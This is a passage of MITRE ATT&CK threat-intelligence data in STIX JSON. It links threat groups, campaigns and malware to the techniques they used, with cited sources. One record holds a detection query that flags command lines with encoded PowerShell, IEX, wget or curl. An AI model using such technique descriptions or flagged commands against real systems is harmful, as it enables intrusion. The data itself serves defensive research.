2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:40:19.576Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can exfiltrate collected information from the host to the C2 server.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb7c9ed8-1733-4c81-8952-2196935571ef","created":"2022-09-07T14:11:24.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:55:17.024Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to gather various local system information.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb7ce54a-20a5-434e-99f1-ad37cbac0777","created":"2022-10-06T21:23:59.587Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:23:59.587Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net session`, `net use`, and `netstat` commands as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CyberESI GTALK","description":"CyberESI. (2011). TROJAN.GTALK. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20141226203328/http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:21:49.854Z","description":"[GLOOXMAIL](https://attack.mitre.org/software/S0026) communicates to servers operated by Google using the Jabber/XMPP protocol.(Citation: Mandiant APT1)(Citation: CyberESI GTALK)","relationship_type":"uses","source_ref":"malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb843b05-b0fc-4165-83c6-5fefa98f6f7c","created":"2024-01-22T19:36:52.857Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T19:36:52.857Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb870870-2dfb-4ff3-9e17-6a75476d9be4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2019-04-25T12:24:57.193Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb886759-3494-4834-9765-2f0c12e0b391","created":"2023-03-26T21:04:43.608Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T21:04:43.608Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used compromised local accounts to access victims' networks.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb88cf08-f9af-44af-b082-96100a7fc3f4","created":"2023-04-13T19:44:48.842Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:44:48.843Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has used the `WshShortcut` COM object to create a .lnk shortcut file in the Windows startup folder.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2019-07-17T13:11:38.973Z","description":"(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb9706eb-de51-4200-ac38-d7d658f90ea9","created":"2020-03-25T15:46:35.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Picus Labs Proc cump 2022","description":"Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.","url":"https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"},{"source_name":"GitHub LaZagne Dec 2018","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T21:23:40.902Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can use the `/maps` and `/mem` files to identify regex patterns to dump cleartext passwords from the browser's process memory.(Citation: GitHub LaZagne Dec 2018)(Citation: Picus Labs Proc cump 2022)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bb97930f-9c3a-4fac-84b1-8f954633aef0","created":"2022-06-14T15:22:24.890Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can sleep for a time interval between C2 communication attempts.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-14T15:22:24.890Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb98709f-9fa6-473a-a5ad-e3bc533e28fa","created":"2023-04-03T17:50:12.002Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:50:12.002Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has quickly deleted `cbd.exe` from a compromised host following the successful deployment of their malware.(Citation: SentinelLabs Metador Sept 2022) ","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bba92907-b2fd-4f62-b356-63fab9d714dd","type":"relationship","created":"2021-08-13T14:53:16.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:25:58.168Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to enumerate network shares.(Citation: Sogeti CERT ESEC Babuk March 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bbb92214-8772-4e46-916b-2d9c0cdec83e","created":"2023-07-05T18:07:12.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:36:43.405Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used Citrix and VPNs to persist in compromised environments.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbbf5a68-55bf-46f8-a810-fe1e4f580167","type":"relationship","created":"2019-01-29T18:44:04.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."}],"modified":"2019-04-16T14:30:35.354Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the capability to kill any running analysis processes and AV software.(Citation: Fortinet Agent Tesla June 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.152Z","description":"The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on open windows.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bbc492bf-de7c-4ef7-ba1b-565ec0f22379","created":"2023-03-26T16:29:30.679Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:29:30.679Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bbc6216d-3a55-41bf-a6dd-abb031aa3f50","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:33:28.691Z","description":"Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. \n\nAnalytic 1 - Suspicious script execution\n\n (sourcetype=WinEventLog:Security OR OR sourcetype=sysmon OR sourcetype=linux_secure OR sourcetype=linux_audit OR sourcetype=mac_os_log OR sourcetype=azure:audit OR sourcetype=o365:audit)\n| search Image IN (\"bash\", \"sh\", \"cmd\", \"powershell\", \"python\", \"java\", \"perl\", \"ruby\", \"node\", \"osascript\", \"wmic\")\n| eval suspicious_cmds=if(like(command_line, \"%Invoke-Obfuscation%\") OR like(command_line, \"%-EncodedCommand%\") OR like(command_line, \"%IEX%\") OR like(command_line, \"%wget%\") OR like(command_line, \"%curl%\"), \"Yes\", \"No\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bbd29878-c16a-45ee-9785-78550f080d83","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.(Citation: PWC Cloud Hopper April 2017)","modified":"2022-07-20T20:07:40.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbd420ed-6959-4190-8317-2b9ecdc32856","type":"relationship","created":"2021-08-18T20:26:21.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.585Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has staged data remotely prior to exfiltration.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bbd4f6df-b4e4-4e8e-8811-41212aef6264","created":"2022-06-10T17:18:59.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:34:08.130Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has added the global admin role to accounts they have created in the targeted organization's cloud instances.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-03-16T16:05:26.300Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has run a keylogger plug-in on a victim.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bbdcf7d5-4a03-4654-b719-8c3456db9a12","created":"2024-08-01T22:32:57.592Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:32:57.592Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) queries the Windows Registry to fingerprint the infected host via the `HKLM:\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid` key.(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbddae2e-69d5-4b4f-a091-42d12075e007","type":"relationship","created":"2020-03-14T22:34:03.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T22:34:03.218Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbdea723-700c-409e-8992-e15c4bd16654","type":"relationship","created":"2021-06-24T13:45:29.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-06-24T13:45:29.680Z","description":"[PsExec](https://attack.mitre.org/software/S0029) has the ability to remotely create accounts on target systems.(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-01-10T15:12:52.360Z","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell.(Citation: FireEye APT34 Webinar Dec 